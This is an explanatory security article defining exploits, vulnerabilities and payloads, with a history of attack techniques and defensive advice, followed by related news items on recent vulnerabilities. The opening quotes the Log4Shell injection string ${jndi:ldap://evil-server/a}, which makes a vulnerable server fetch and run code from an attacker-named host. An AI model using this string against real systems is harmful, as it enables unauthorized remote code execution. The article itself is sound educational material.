What Is an Exploit: How a Flaw in Someone Else's Code Becomes Unauthorized Access to Your Server
On December 9, 2021, Minecraft players noticed an oddity. Typing a string like ${jndi:ldap://evil-server/a} into the public chat caused the game server, which merely logged the message, to fetch and execute remote code over the internet. No attachments, no macros, no clicks required—just text in chat.
Within a day the issue received identifier CVE-2021-44228, a maximum CVSS score of 10, and the name Log4Shell. The culprit was Log4j, a mundane logging library embedded in millions of Java applications ranging from corporate portals to warehouse management systems. Apache released an emergency patch, the world spent six weeks hunting vulnerable builds, and attackers scanned networks in bulk.
This is precisely where the difference between “the program contains a bug” and “this bug has already been used to compromise me” lives. That difference is called an exploit.
Exploit in Plain Terms
An exploit is code, a command sequence, or a series of actions that converts a theoretical vulnerability into a practical outcome for the attacker. The term derives from the English verb “to exploit.” Russian regulatory documents from FSTEC use the more precise phrase “exploitation of a vulnerability.”
Three concepts are frequently confused even by experienced administrators:
- Vulnerability is the defect itself—forgotten input-length checks, leftover test accounts, or overly permissive network access rules.
- Exploit is the specific key crafted for that defect, knowing exact byte counts, field locations, and offsets.
- Payload is the actual objective—reverse shell, ransomware, miner, or persistence mechanism.
The apartment analogy works well: the vulnerability is a faulty lock that opens with a paperclip; the exploit is the precisely bent paperclip; the burglar carrying a bag is the payload.
Where Vulnerabilities Come From
They come from people. The Linux kernel exceeded 40 million lines of code by 2026. Common families include memory-safety errors in C/C++, injection flaws such as SQL or JNDI substitution, logical business-logic errors exemplified by Zerologon (CVE-2020-1472), and misconfigurations including exposed management interfaces.
Inside an Exploit
The story begins with the Morris Worm on November 2, 1988, which abused the unchecked gets() function in fingerd. Eight years later Aleph One’s “Smashing the Stack for Fun and Profit” explained stack overflows. Defenses followed—stack canaries, DEP (2004), ASLR (2007), CFG/CFI, and ARM PAC/MTE—prompting attackers to adopt return-oriented programming (ROP) chains described by Hovav Shacham in 2007. Modern browser exploitation now requires weeks of heap grooming, ASLR bypass via leaks, and sandbox escapes.
Types of Exploits
Remote code execution (RCE) such as Log4Shell, local privilege escalation (LPE) such as Dirty Pipe (CVE-2022-0847), authentication bypass such as Zerologon, sandbox escapes, information disclosure such as Heartbleed (CVE-2014-0160), and denial of service.
Zero-Day and N-Day Exploits
A zero-day targets an unpatched flaw. Google Threat Intelligence Group recorded 90 zero-days used in attacks during 2025. Most mass compromises, however, rely on n-day vulnerabilities whose patches have been available for months or years.
Proof-of-Concept versus Weaponized Exploits
A PoC merely demonstrates exploitability. Turning it into a reliable, multi-version module takes far longer. Frameworks such as Metasploit and archives such as Exploit-DB lower the barrier once public modules appear.
Exploit Kits and Economics
Exploit kits such as Angler packaged browser exploits for drive-by downloads. The Russian group Lurk was linked to Angler operations before its 2016 takedown. Today the market has shifted toward corporate perimeter devices. Legal bug-bounty programs, gray-market brokers such as Zerodium and Crowdfense, and criminal forums price exploits differently, with zero-days reaching millions of dollars.
Practical Defenses
Organizations should prioritize the CISA KEV catalog (now over 1,300 entries), FSTEC threat database, and EPSS scores rather than raw CVSS numbers. Additional measures include attack-surface reduction, virtual patching via WAF, network segmentation, and behavioral monitoring. The 2017 WannaCry outbreak, powered by the leaked EternalBlue exploit for which a patch had existed for eight weeks, remains the clearest illustration of delayed patching consequences.
While Russian law (Article 273) creates uncertainty for researchers, participation in official bug-bounty programs with written authorization remains the safest legal posture.
Related articles
Security Week 2644: Active Exploitation of PHP2Shell Vulnerabilities Confirmed
PHP developers released patches for two critical vulnerabilities collectively known as PHP2Shell on October 20, affecting PHP 8.2 through 8.5 as well as older branches. The flaws allow unauthenticated remote code execution on affected servers, which power approximately 70 percent of websites. Despite expectations of immediate exploitation, confirmed attacks with working exploits only began on October 25. CrowdStrike noted technical difficulties in weaponizing the issues in real-world environments. Only one-fifth of top Russian websites had applied the fixes by October 25. Additional incidents included compromised eMudhra certificates, a critical GitLab flaw, and a 16-year-old Broadcom router vulnerability.
Positive Technologies Offers Up to 500,000 Rubles for Bypassing PT Application Firewall
Positive Technologies has expanded its Standoff Bug Bounty program to include rewards for bypassing its web application firewalls. Researchers can earn between 150,000 and 500,000 rubles for demonstrating practical bypasses against PT Application Firewall PRO and PT Application Firewall Cloud. The program targets the core protective mechanisms, including traffic filtering, attack detection rules, and the management layer used by administrators. Submissions must include reproducible attack scenarios that show how malicious requests can pass through undetected, rather than relying on scanner reports or theoretical findings. Reward amounts vary by severity and confirmed business impact, with critical issues in the PRO version paying up to 500,000 rubles. The company plans to use validated findings to strengthen detection rules and improve overall product resilience.
Tailscale SSH Vulnerability Allows Root Access via Unix Socket Redirection
A researcher identified flaws in Tailscale that let an attacker with existing SSH access on one node escalate to root privileges and move laterally across the network. Erica Windisch of Cyberdione Labs demonstrated the issues in lab conditions against Tailscale 1.104.2 and Headscale 0.29.5. The core problem stems from privileged operations performed by the tailscaled process when handling Unix socket redirection, granting an ordinary SSH session access to root-only resources. The researcher used the technique to interact with Docker and run elevated commands, and showed that broad access policies allow automated lateral movement in under a second. Additional issues include denial-of-service conditions and bypasses of certain restrictions. Recommendations include reviewing SSH policies and disabling unnecessary socket redirection, noting that Headscale 0.29.5 lacks an independent way to turn the feature off.
Critical CVE-2026-111497 Out-of-Bounds Write Flaw in Google Brotli Decoder Impacts Broad Range of Environments
A severe vulnerability has been identified in the Google-developed Brotli decoder used for decompressing data in web communications and other applications. The flaw, tracked as CVE-2026-111497, allows out-of-bounds writes when processing specially crafted compressed data, potentially enabling arbitrary code execution, information disclosure, or denial of service. It carries a CVSS v4.0 base score of 9.2 and is rated Critical. Google has released patched versions 1.2.1, 1.1.1, and 1.0.10 of the library. Node.js incorporated the fix in its updates, while Microsoft issued an out-of-band patch for .NET on October 25, 2026, to address the issue. The vulnerability affects any environment relying on the Brotli C implementation for data decompression.